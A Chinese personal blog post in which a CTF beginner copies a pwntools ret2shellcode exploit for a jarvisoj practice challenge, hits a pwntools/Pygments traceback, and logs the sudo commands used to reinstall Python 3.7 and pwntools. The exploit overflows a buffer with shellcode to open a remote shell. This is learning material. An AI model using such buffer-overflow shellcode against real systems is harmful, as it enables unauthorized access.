今天是个好日子,今天是12.21,冬至
今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜
这是一道基础的ret2shellcode,但是也不会做的我直奔wp去抄exp
from pwn import *
p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
#接收从下标为第14位到倒数第二位的字符串
text = p.recvline()[14:-2]
print text[14:-2]
#将text字符串通过int函数转换为16进制的地址,作为跳转的地址
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())
payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)
p.send(payload)
p.interactive()
然后运行,报错:
Traceback (most recent call last):
File "", line 1, in
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__
return getattr(m, key)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__
return getattr(m, key)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 80, in __getattr__
real = internal.make_function(key, self._shellcodes[key], self._dir)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 114, in make_function
template = lookup_template(path)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 79, in lookup_template
init_mako()
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 14, in init_mako
from mako.lookup import TemplateLookup
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/lookup.py", line 12, in
from mako import exceptions
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 305, in
_install_highlighting()
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 300, in _install_highlighting
_install_pygments()
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 284, in _install_pygments
from mako.ext.pygmentplugin import syntax_highlight # noqa
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/ext/pygmentplugin.py", line 8, in
from pygments.formatters.html import HtmlFormatter
File "/usr/local/lib/python2.7/dist-packages/Pygments-2.6.1-py2.7.egg/pygments/formatters/html.py", line 554
file=sys.stderr)
^
SyntaxError: invalid syntax
发现是shellcraft.sh()这里出了问题
啊这。。。这还能怎么办呢,重装pwntools吧呜呜呜
但是又遇到了问题
那,只好用python3安装pwntools了
首先安装vm tools
sudo apt-get install vim
执行所有升级
sudo apt-get update
sudo apt-get upgrade -y
安装编译Python源程序所需的包
sudo apt install build-essential -y
sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y
sudo apt-get install zlib1g-dev
下载Python 3.7源程序压缩包
wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz
解压缩
tar -xzvf Python-3.7.1.tgz
配置
cd Python-3.7.1
./configure --enable-optimizations
编译和安装Python 3.7
sudo make
sudo make install#这里遇到了报错,根据提示改成了sudo -H make install,完成
安装、升级、卸载pip和更换pip源
sudo apt-get install python3-pip
sudo pip3 install --upgrade pip#这条报错,改成-H)之后发现没有影响
sudo apt-get remove python3-pip
sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#这条也是warning,改成-H了,好像干了点坏事)
安装git
sudo apt install git
进行git配置
sudo git config --global user.name ‘自定义用户名’
sudo git config --global user.email ‘邮箱’
查看配置
git config –list
pwntools
sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#这条依旧报错,然后有个手滑,加了-H
sudo pip install -U setuptools
sudo pip install --upgrade pip
sudo pip install --upgrade pwntools#上面三条全部报错,没加-H,然后飙红了,给前两条加了最后一条没加,貌似成功了
装好了,还是比较蠢的2333
原文链接:https://blog.csdn.net/qq_49914719/article/details/111503762